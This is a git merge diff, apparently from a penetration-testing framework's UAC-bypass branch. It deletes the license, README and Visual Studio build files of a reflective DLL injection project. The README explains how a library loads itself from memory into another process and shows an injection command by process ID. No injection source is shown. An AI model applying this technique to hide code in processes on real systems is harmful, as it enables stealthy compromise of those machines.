Merge remote-tracking branch 'upstream/master' into bypassuac_redo
This commit is contained in:
Binary file not shown.
BIN
Binary file not shown.
@@ -1,25 +0,0 @@
|
||||
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of
|
||||
conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
with the distribution.
|
||||
|
||||
* Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGE.
|
||||
@@ -1,71 +0,0 @@
|
||||
About
|
||||
=====
|
||||
|
||||
Reflective DLL injection is a library injection technique in which the concept
|
||||
of reflective programming is employed to perform the loading of a library from
|
||||
memory into a host process. As such the library is responsible for loading
|
||||
itself by implementing a minimal Portable Executable (PE) file loader. It can
|
||||
then govern, with minimal interaction with the host system and process, how it
|
||||
will load and interact with the host.
|
||||
|
||||
Injection works from Windows NT4 up to and including Windows 8, running on x86,
|
||||
x64 and ARM where applicable.
|
||||
|
||||
Overview
|
||||
========
|
||||
|
||||
The process of remotely injecting a library into a process is two fold. Firstly,
|
||||
the library you wish to inject must be written into the address space of the
|
||||
target process (Herein referred to as the host process). Secondly the library
|
||||
must be loaded into that host process in such a way that the library's run time
|
||||
expectations are met, such as resolving its imports or relocating it to a
|
||||
suitable location in memory.
|
||||
|
||||
Assuming we have code execution in the host process and the library we wish to
|
||||
inject has been written into an arbitrary location of memory in the host
|
||||
process, Reflective DLL Injection works as follows.
|
||||
|
||||
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap
|
||||
shellcode, to the library's ReflectiveLoader function which is an exported
|
||||
function found in the library's export table.
|
||||
* As the library's image will currently exists in an arbitrary location in
|
||||
memory the ReflectiveLoader will first calculate its own image's current
|
||||
location in memory so as to be able to parse its own headers for use later on.
|
||||
* The ReflectiveLoader will then parse the host processes kernel32.dll export
|
||||
table in order to calculate the addresses of three functions required by the
|
||||
loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
|
||||
* The ReflectiveLoader will now allocate a continuous region of memory into
|
||||
which it will proceed to load its own image. The location is not important as
|
||||
the loader will correctly relocate the image later on.
|
||||
The library's headers and sections are loaded into their new locations in
|
||||
memory.
|
||||
* The ReflectiveLoader will then process the newly loaded copy of its image's
|
||||
import table, loading any additional library's and resolving their respective
|
||||
imported function addresses.
|
||||
* The ReflectiveLoader will then process the newly loaded copy of its image's
|
||||
relocation table.
|
||||
* The ReflectiveLoader will then call its newly loaded image's entry point
|
||||
function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully
|
||||
loaded into memory.
|
||||
* Finally the ReflectiveLoader will return execution to the initial bootstrap
|
||||
shellcode which called it, or if it was called via CreateRemoteThread, the
|
||||
thread will terminate.
|
||||
|
||||
Build
|
||||
=====
|
||||
|
||||
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release
|
||||
mode to make inject.exe and reflective_dll.dll
|
||||
|
||||
Usage
|
||||
=====
|
||||
|
||||
To test use the inject.exe to inject reflective_dll.dll into a host process via
|
||||
a process id, e.g.:
|
||||
|
||||
> inject.exe 1234
|
||||
|
||||
License
|
||||
=======
|
||||
|
||||
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.
|
||||
@@ -1,20 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 10.00
|
||||
# Visual C++ Express 2008
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -1,357 +0,0 @@
|
||||
<?xml version="1.0" encoding="Windows-1252"?>
|
||||
<VisualStudioProject
|
||||
ProjectType="Visual C++"
|
||||
Version="9.00"
|
||||
Name="reflective_dll"
|
||||
ProjectGUID="{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||
RootNamespace="reflective_dll"
|
||||
Keyword="Win32Proj"
|
||||
TargetFrameworkVersion="196613"
|
||||
>
|
||||
<Platforms>
|
||||
<Platform
|
||||
Name="Win32"
|
||||
/>
|
||||
<Platform
|
||||
Name="x64"
|
||||
/>
|
||||
</Platforms>
|
||||
<ToolFiles>
|
||||
</ToolFiles>
|
||||
<Configurations>
|
||||
<Configuration
|
||||
Name="Debug|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="4"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
LinkIncremental="2"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="2"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Debug|x64"
|
||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
TargetEnvironment="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
LinkIncremental="2"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="2"
|
||||
TargetMachine="17"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="2"
|
||||
InlineFunctionExpansion="1"
|
||||
EnableIntrinsicFunctions="true"
|
||||
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
||||
RuntimeLibrary="0"
|
||||
EnableFunctionLevelLinking="true"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
LinkIncremental="1"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="2"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
CommandLine="copy ..\Release\reflective_dll.dll ..\bin\"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|x64"
|
||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="0"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
TargetEnvironment="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="2"
|
||||
InlineFunctionExpansion="1"
|
||||
EnableIntrinsicFunctions="true"
|
||||
FavorSizeOrSpeed="2"
|
||||
WholeProgramOptimization="false"
|
||||
PreprocessorDefinitions="WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
||||
RuntimeLibrary="0"
|
||||
EnableFunctionLevelLinking="true"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
CompileAs="2"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
OutputFile="$(OutDir)\$(ProjectName).x64.dll"
|
||||
LinkIncremental="1"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="2"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
TargetMachine="17"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
CommandLine="copy $(OutDir)\$(ProjectName).x64.dll ..\bin\"
|
||||
/>
|
||||
</Configuration>
|
||||
</Configurations>
|
||||
<References>
|
||||
</References>
|
||||
<Files>
|
||||
<Filter
|
||||
Name="Source Files"
|
||||
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
|
||||
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\src\ReflectiveDll.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\src\ReflectiveLoader.c"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Header Files"
|
||||
Filter="h;hpp;hxx;hm;inl;inc;xsd"
|
||||
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\src\ReflectiveDLLInjection.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\src\ReflectiveLoader.h"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
</Files>
|
||||
<Globals>
|
||||
</Globals>
|
||||
</VisualStudioProject>
|
||||
@@ -1,266 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|ARM">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>ARM</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|ARM">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>ARM</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
|
||||
<RootNamespace>reflective_dll</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v100</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<TargetName>exploit</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
